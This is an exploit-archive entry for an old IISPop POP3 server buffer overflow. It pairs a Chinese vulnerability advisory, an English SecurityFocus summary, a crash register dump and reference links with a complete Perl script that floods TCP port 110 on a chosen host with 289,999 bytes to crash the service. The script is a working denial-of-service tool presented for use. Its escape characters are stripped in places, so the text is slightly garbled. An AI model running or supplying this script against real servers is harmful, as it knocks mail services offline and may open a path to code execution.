https://www.exploit-db.com/exploits/22019
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-611

IISPop是一款适合小型网络的POP3服务程序，可运行在Windows2000/IIS5系统上。IISPopPOP3服务程序对超长请求处理不正确，远程攻击者可以利用这个漏洞进行缓冲区溢出，可导致拒绝服务，也存在以POP3服务进程权限在系统上执行任意指令的可能。攻击者向IISPopPOP3服务程序提交超过289999字节的数据，可导致发生访问冲突，错误对话框类似如下：Accessviolation-codec0000005(firstchance)eax=00000041ebx=00407d3decx=00000101edx=000021aeesi=0040693dedi=00437181eip=77e76941esp=0112ffb0ebp=0000026ciopl=0nvupeiplnznaponccs=001bss=0023ds=0023es=0023fs=0038gs=0000efl=00000206KERNEL32!GetCurrentThreadId+4:77e769410000add[eax]，alds:0023:00000041=??(unhandledexeptioninIISPop.exe(KRNELL32.DLL)0xc0000005:accessviolation精心提交请求的数据可能以POP3服务进程权限在系统上执行任意指令。

source: http://www.securityfocus.com/bid/6183/info

IISPop is vulnerable to a denial of service caused by a buffer overflow. By sending an unusually large amount of data to IISPop on TCP port 110, the application will terminate with an access violation. Arbitrary code execution may be possible.

#!/usr/bin/perl -w
# tool : iispdos.pl
# shutdown all version of IISPop
# greetz crack.fr , marocit ,christal
#

use IO::Socket;

$ARGC=@ARGV;
if ($ARGC !=1) {
print "n-->";
print "tUsage: perl iispdos.pl <host> n";
exit;
}

$remo = $ARGV[0];
$buffer = "A" x 289999;

print "n-->";
print "tconnection with $remon";
unless ($so = IO::Socket::INET->new (Proto => "TCP",
PeerAddr => $remo,
PeerPort
=> "110"))
{
print "-->";
print "tConnection Failed...n";
exit;
}
print $so "$buffern";
close $so;

print "-->";
print "tnow test if the distant host is downn";
exit;

来源:BID
名称:6183
链接:http://www.securityfocus.com/bid/6183
来源:XF
名称:iispop-email-server-bo(10632)
链接:http://www.iss.net/security_center/static/10632.php
来源:BUGTRAQ
名称:20021114IISPopremoteDOS
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=103729432602720&w;=2
来源：NSFOCUS
名称：3828
链接：http://www.nsfocus.net/vulndb/3828